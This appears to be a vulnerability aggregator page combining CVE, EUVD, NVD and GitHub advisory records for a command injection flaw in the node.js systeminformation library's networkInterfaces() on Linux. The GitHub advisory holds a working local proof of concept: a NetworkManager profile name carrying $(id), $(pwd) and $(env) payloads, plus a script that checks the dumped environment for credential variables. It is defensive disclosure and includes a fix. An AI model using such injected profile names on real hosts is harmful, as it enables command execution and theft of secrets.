systeminformation: Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6.

Source published

27 May 2026 19:26:28 UTC

Source modified

28 Aug 2026 12:04:23 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6.

Source published

May 27, 2026, 7:26:28 PM (timezone not stated)

Source modified

Aug 28, 2026, 12:04:23 PM (timezone not stated)

Observed here

7 Nov 2026 10:32:06 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6.

Source published

27 May 2026 20:16:37 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 11:12:17 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

## Summary On Linux, `systeminformation` is vulnerable to command injection in `networkInterfaces()` when an **active NetworkManager connection profile name** contains shell metacharacters. This is not caused by a caller passing attacker-controlled arguments into `networkInterfaces()`. The vulnerable value is obtained internally from real `nmcli device status` output. The library sanitizes the network interface name before using it in shell commands, but it does **not** apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized `connectionName` is then interpolated into three shell command strings executed through `execSync()`. This issue was validated locally against **real NetworkManager** and **real `nmcli`**. Calling only: ```js require('./lib').networkInterfaces() ``` was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process. ## Affected Component & Versions **Affected component:** - [`lib/network.js`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js) - `networkInterfaces()` - Linux NetworkManager / `nmcli` handling ## Impact & Threat Model **Confirmed impact:** An attacker who can create or rename an **active NetworkManager connection profile** can execute arbitrary shell commands when a Node.js process using `systeminformation` calls `networkInterfaces()`. **Confirmed realistic affected deployments include:** - local inventory agents - monitoring agents - diagnostics tools - admin dashboard backends collecting host information - privileged local desktop or device-management agents If such a process runs with elevated privileges, the injected command executes with those same elevated privileges. **Confirmed facts:** - The payload was stored as a real NetworkManager connection profile name. - Real `nmcli device status` returned the name unchanged. - `networkInterfaces()` parsed that value and reused it in shell commands. - The injected command ran as the calling Node.js process. - Environment key categories were reachable from the injected process context. **Not claimed:** - No remote exploitation claim is made. - No `AV:N` or `AV:A` claim is made. - No SSID-to-connection-name attack path is claimed. - File-delivery-only `.nmconnection` import was not confirmed as a remote or unauthenticated path. ## Root Cause Analysis The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name. The interface name is sanitized before it is embedded into shell commands: ```js const iface = dev.split(':')[0].trim(); const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface); ``` However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization: ```js const connectionNameLines = resultFormat.split(' ').slice(3); const connectionName = connectionNameLines.join(' '); return connectionName !== '--' ? connectionName : ''; ``` That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside `"${connectionName}"` does not make it safe. A connection name containing `"`, `$()`, `;`, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution. The vulnerable code executes through `execSync()`, which invokes a shell for command strings. As a result, interpolating `connectionName` into the command string creates a command-injection sink. ## Exact Code Flow & File Paths **Source:** [`lib/network.js:538-544`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L538-L544) ```js function getLinuxIfaceConnectionName(interfaceName) { const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`; try { const result = execSync(cmd, util.execOptsLinux).toString(); const resultFormat = result.replace(/\s+/g, ' ').trim(); const connectionNameLines = resultFormat.split(' ').slice(3); ``` The parsed value is then returned as `connectionName`. **Trigger:** [`lib/network.js:987-991`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L987-L991) ```js lines = execSync(cmd, util.execOptsLinux).toString().split('\n'); const connectionName = getLinuxIfaceConnectionName(ifaceSanitized); dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics); dnsSuffix = getLinuxIfaceDNSsuffix(connectionName); ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName); ``` **Sink 1:** [`lib/network.js:620`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L620-L620) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`; ``` **Sink 2:** [`lib/network.js:660`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L660-L660) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`; ``` **Sink 3:** [`lib/network.js:676`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L676-L676) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`; ``` There are **three distinct exploitable `connectionName` sinks**. ## Proof of Concept (PoC) & Reproduction Steps The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp. Run from the project root: ```bash cd /path/to/systeminformation ``` Confirm proof files do not already exist: ```bash test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET ``` Create a malicious NetworkManager dummy profile: ```bash nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' ``` Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface: ```bash nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \ ipv4.method manual \ ipv4.addresses 192.0.2.253/32 \ ipv6.method disabled ``` Activate the profile: ```bash nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' ``` Confirm real nmcli exposes the malicious connection name unchanged: ```bash nmcli device status | grep si-nmghsa0 ``` Expected relevant output includes the active connection name: ```text si-nmghsa0 dummy connected si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof) ``` Trigger the vulnerable library path with no attacker-controlled function argument: ```bash node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item) console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});" ``` Confirm command execution: ```bash test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED cat /tmp/si-nm-id-proof cat /tmp/si-nm-pwd-proof ``` Inspect environment key categories without printing secret values: ```bash node -e " const fs=require('fs'); const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8') .split(/\n/).map(l=>l.split('=')[0]).filter(Boolean); const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID']; console.log('env_key_count='+keys.length); console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(',')); " ``` validated evidence: ```text saw_dummy_iface=true uid=1000(smart) gid=1000(smart) pwd=/home/smart/Downloads/systeminformation-master env_key_count=74 present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK ``` ## Local Validation Summary & Aggregate Reachability Validation was performed against **real NetworkManager** and **real `nmcli`**. The primary proof did not rely on a PATH stub. **Observed behavior:** - The malicious profile was accepted by NetworkManager. - The active connection name appeared unchanged in `nmcli device status`. - Calling only `require('./lib').networkInterfaces()` triggered execution. - The proof artifacts were created only after the library call. - The `id` output matched the calling Node.js process identity. - The `pwd` output matched the Node.js process working directory. - The environment proof demonstrated access to process-environment categories without printing secret values. **Aggregate API reachability:** - [`lib/index.js:94`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L94-L94): `getStaticData()` reaches `network.networkInterfaces()` as part of static data collection. - [`lib/index.js:307`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L307-L307): `getAllData()` reaches `getStaticData()` first. During local validation, an aggregate runtime attempt later hit an unrelated `osinfo.js` error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was **not** used as the primary exploit proof. ## Why This Is Not Intended Behavior `networkInterfaces()` is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status. The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for `connectionName` is inconsistent with that defensive pattern. Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction. ## Recommended Fix Avoid shell interpolation entirely for NetworkManager calls. Replace shell command strings with `execFileSync()` or `spawnSync()` using argument arrays. For example: ```js const { execFileSync } = require('child_process'); const output = execFileSync( 'nmcli', ['connection', 'show', connectionName], util.execOptsLinux ).toString(); ``` **Recommended code-level changes:** - Replace `nmcli device status 2>/dev/null | grep ${interfaceName}` with argument-array execution and filter rows in JavaScript. - Replace every `nmcli connection show "${connectionName}" | grep ...` shell string with argument-array execution. - Parse `ipv4.method`, `ipv4.dns-search`, and `802-1x.eap` in JavaScript instead of using shell `grep`. - Treat NetworkManager profile names as untrusted input even though they originate from local system state. - Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix. ## Regression Test Ideas Add Linux-specific tests for NetworkManager connection names containing shell metacharacters. **Suggested malicious connection names:** - `name$(...)` - `name"; ...; #` - ``name`...``` - `name|...` - `name;...` **Expected behavior after the fix:** - `networkInterfaces()` completes without executing shell syntax from the connection name. - No marker files or equivalent side effects are produced. - The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried. - Tests cover all three current sink helpers: - DHCP lookup - DNS suffix lookup - IEEE 802.1x auth lookup For unit-level coverage, mock the NetworkManager command wrapper so that `nmcli device status` returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings. ## Credit request If you publish an advisory or assign a CVE, please credit me as: Ali Firas (thesmartshadow) - https://www.smartshadow.dev

Source published

13 May 2026 15:29:21 UTC

Source modified

10 Sep 2026 03:51:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH